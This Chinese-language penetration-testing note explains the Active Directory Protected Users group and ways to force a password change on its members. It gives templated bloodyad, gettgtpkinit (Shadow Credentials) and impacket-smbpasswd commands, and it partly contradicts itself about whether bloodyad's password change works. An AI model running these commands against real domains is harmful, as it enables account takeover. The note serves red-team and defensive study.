Protected Users 组与密码修改限制

Protected Users 组与密码修改限制

概述

  • 来源: Windows Server 2012 R2 起自带的预置安全组,不依赖组策略
  • 作用域: 域功能级别硬编码行为 — 任何域,域控 ≥ 2012R2 就有
  • 创建方式: 不需要手动创建,AD 自带

Protected Users 的限制

特性结果
NTLM 认证❌ 禁止
CredSSP (Pass-the-Hash)❌ 禁止
Digest / WDigest❌ 禁止
非 AES 的 Kerberos 加密❌ 只允许 AES
SAMR (net rpc password)❌ 禁止
LDAP unicodePwd Change(需旧密码)❌ 禁止
LDAP unicodePwd Reset(无需旧密码)✅ 允许(需 Reset Password 权限)
TGT 有效期⏱ 默认缩短到 4 小时
委派❌ 非约束委派禁止

渗透中改密码的路径

前提:对目标用户有 GenericAll / GenericWrite 等写权限。

方法一:踢出 Protected Users 再改(最快)

# 1. 从 Protected Users 移除
bloodyad -d <domain> -u <admin> --host <dc> -k remove group \
  'CN=Protected Users,CN=Users,DC=<domain>,DC=<tld>' \
  'CN=<target>,CN=Users,DC=<domain>,DC=<tld>'

# 2. 改密码
bloodyad -d <domain> -u <admin> --host <dc> -k set password '<target>' '<NewPass!>'

# 3. (可选)改完再加回 Protected Users

方法二:Shadow Credentials(PKINIT 绕过)

Protected Users 拦截的是非 Kerberos 认证路径。如果目标用户已有 msDS-KeyCredentialLink,直接用 PKINIT 拿 TGT 进:

gettgtpkinit.py <domain>/<target> <target>.ccache \
  -cert-pem <cert.pem> -key-pem <key.pem>

如果没有 KeyCredentialLink,有写权限的话可以自己写一个上去。

方法三:有 Reset Password 权限的管理员(域管)

# 用 bloodyad 走 LDAP Reset(前提是身份有 Reset Password 权限)
bloodyad -d <domain> -u <domainadmin> --host <dc> -k set password '<target>' '<NewPass!>'

方法四:impacket smbpasswd(空旧密码尝试重置)

KRB5CCNAME=<admin>.ccache \
  impacket-smbpasswd <DOMAIN>\\<target>@<dc> \
  -k -no-pass -newpass '<NewPass!>' -oldpass ''

实战踩坑记录

  • bloodyad set password 走的是 LDAP Change(需旧密码)→ Protected Users 组内用户一定失败
  • net rpc password 走 SAMR → Protected Users 组内用户一定失败(NT_STATUS_ACCOUNT_RESTRICTION
  • crackmapexec smb --pass-pol 用 Kerberos ccache 有时拿不到策略信息,需显式给密码
  • Protected Users 不拦 LDAP Reset,只拦 Change

相关链接

参考

文末附加内容

评论

本文评论已关闭
上一篇
下一篇